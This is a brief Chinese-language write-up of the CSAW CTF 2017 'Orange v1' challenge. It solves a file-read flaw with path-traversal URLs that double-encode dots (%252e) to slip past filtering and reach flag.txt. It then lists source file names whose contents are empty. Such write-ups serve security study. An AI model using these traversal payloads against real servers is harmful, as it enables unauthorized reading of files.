CSAW CTF 2017-Orange v1-writeup
文件读取漏洞
Task
|
|
Solution
若将path参数放空,即 http://web.chal.csaw.io:7311/?path=
没有flag.txt,所以需要想办法“遍历”一下目录。
尝试访问: http://web.chal.csaw.io:7311/?path=../
考虑到可能有二次编码的问题,.
=> %2e
=> %252e
,访问:http://web.chal.csaw.io:7311/?path=%252e%252e/
最后访问: http://web.chal.csaw.io:7311/?path=%252e%252e/flag.txt
读取到一些源文件,如下:
back.py:
serve.sh:
server.js: